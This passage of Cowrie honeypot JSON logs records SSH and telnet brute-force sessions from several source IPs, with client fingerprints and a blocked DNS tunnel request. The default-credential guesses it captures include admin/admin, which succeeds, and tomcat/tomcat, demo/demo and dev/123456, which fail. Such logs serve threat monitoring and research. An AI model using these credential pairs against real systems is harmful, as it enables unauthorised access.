.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:51.823870Z","src_ip":"87.251.64.176","session":"6983cdeb8462","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:52.111123Z","src_ip":"87.251.64.176","session":"6983cdeb8462","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:52.208086Z","session":"6983cdeb8462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43508,"dst_ip":"10.17.0.5","dst_port":22,"session":"94e66aa67e64","protocol":"ssh","message":"New connection: 95.38.165.118:43508 (10.17.0.5:22) [session: 94e66aa67e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:52.264264Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:52.277691Z","src_ip":"95.38.165.118","session":"94e66aa67e64","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:52.305644Z","src_ip":"87.251.64.176","session":"6983cdeb8462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:52.405012Z","src_ip":"87.251.64.176","session":"6983cdeb8462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:52.432019Z","src_ip":"95.38.165.118","session":"94e66aa67e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:53.209323Z","src_ip":"95.38.165.118","session":"c4fb566d33fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:53.552402Z","src_ip":"95.38.165.118","session":"94e66aa67e64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:54.909319Z","src_ip":"95.38.165.118","session":"94e66aa67e64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51124,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fb71aef380a","protocol":"ssh","message":"New connection: 95.38.165.118:51124 (10.17.0.5:22) [session: 0fb71aef380a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:57.289005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:57.293833Z","src_ip":"95.38.165.118","session":"0fb71aef380a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:57.453020Z","src_ip":"95.38.165.118","session":"0fb71aef380a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:57.957507Z","src_ip":"95.38.165.118","session":"0fb71aef380a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:14:59.179958Z","src_ip":"95.38.165.118","session":"0fb71aef380a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":51140,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f8fa2fb8fd1","protocol":"ssh","message":"New connection: 95.38.165.118:51140 (10.17.0.5:22) [session: 6f8fa2fb8fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:02.285744Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:02.642046Z","src_ip":"95.38.165.118","session":"6f8fa2fb8fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:02.648870Z","src_ip":"95.38.165.118","session":"6f8fa2fb8fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:06.517873Z","src_ip":"95.38.165.118","session":"6f8fa2fb8fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.347588539123535,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:07.305851Z","src_ip":"69.4.83.194","session":"92a8b417bc4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52650,"dst_ip":"10.17.0.5","dst_port":22,"session":"111637cffa8e","protocol":"ssh","message":"New connection: 95.38.165.118:52650 (10.17.0.5:22) [session: 111637cffa8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:07.732606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:07.740666Z","src_ip":"95.38.165.118","session":"111637cffa8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:07.912127Z","src_ip":"95.38.165.118","session":"111637cffa8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:08.318893Z","src_ip":"95.38.165.118","session":"6f8fa2fb8fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:10.364539Z","src_ip":"95.38.165.118","session":"111637cffa8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:11.536351Z","src_ip":"95.38.165.118","session":"111637cffa8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52662,"dst_ip":"10.17.0.5","dst_port":22,"session":"abb0d8148657","protocol":"ssh","message":"New connection: 95.38.165.118:52662 (10.17.0.5:22) [session: abb0d8148657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:12.732268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:12.737773Z","src_ip":"95.38.165.118","session":"abb0d8148657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:12.903852Z","src_ip":"95.38.165.118","session":"abb0d8148657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:15.361872Z","src_ip":"95.38.165.118","session":"abb0d8148657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57196,"dst_ip":"159.203.135.109","dst_port":23,"session":"a82e1b1b2430","protocol":"telnet","message":"New connection: 69.4.83.194:57196 (159.203.135.109:23) [session: a82e1b1b2430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:16.371657Z"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:16.553930Z","src_ip":"95.38.165.118","session":"abb0d8148657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41642,"dst_ip":"10.17.0.5","dst_port":22,"session":"93f3b067a733","protocol":"ssh","message":"New connection: 95.38.165.118:41642 (10.17.0.5:22) [session: 93f3b067a733]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:18.250066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:18.256531Z","src_ip":"95.38.165.118","session":"93f3b067a733","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:18.427965Z","src_ip":"95.38.165.118","session":"93f3b067a733","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:19.400385Z","src_ip":"95.38.165.118","session":"93f3b067a733","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:20.568836Z","src_ip":"95.38.165.118","session":"93f3b067a733","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":42018,"dst_ip":"10.17.0.5","dst_port":23,"session":"bebfd40c7ace","protocol":"telnet","message":"New connection: 178.128.93.180:42018 (10.17.0.5:23) [session: bebfd40c7ace]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:21.525675Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41656,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3ca56c74b1a","protocol":"ssh","message":"New connection: 95.38.165.118:41656 (10.17.0.5:22) [session: e3ca56c74b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:23.279917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:23.289385Z","src_ip":"95.38.165.118","session":"e3ca56c74b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:23.449648Z","src_ip":"95.38.165.118","session":"e3ca56c74b1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:23.944327Z","src_ip":"95.38.165.118","session":"e3ca56c74b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:25.160993Z","src_ip":"95.38.165.118","session":"e3ca56c74b1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":52286,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5ff1e37c104","protocol":"ssh","message":"New connection: 95.38.165.118:52286 (10.17.0.5:22) [session: d5ff1e37c104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:28.145108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:15:28.533449Z","src_ip":"95.38.165.118","session":"d5ff1e37c104","protocol":"ssh"}
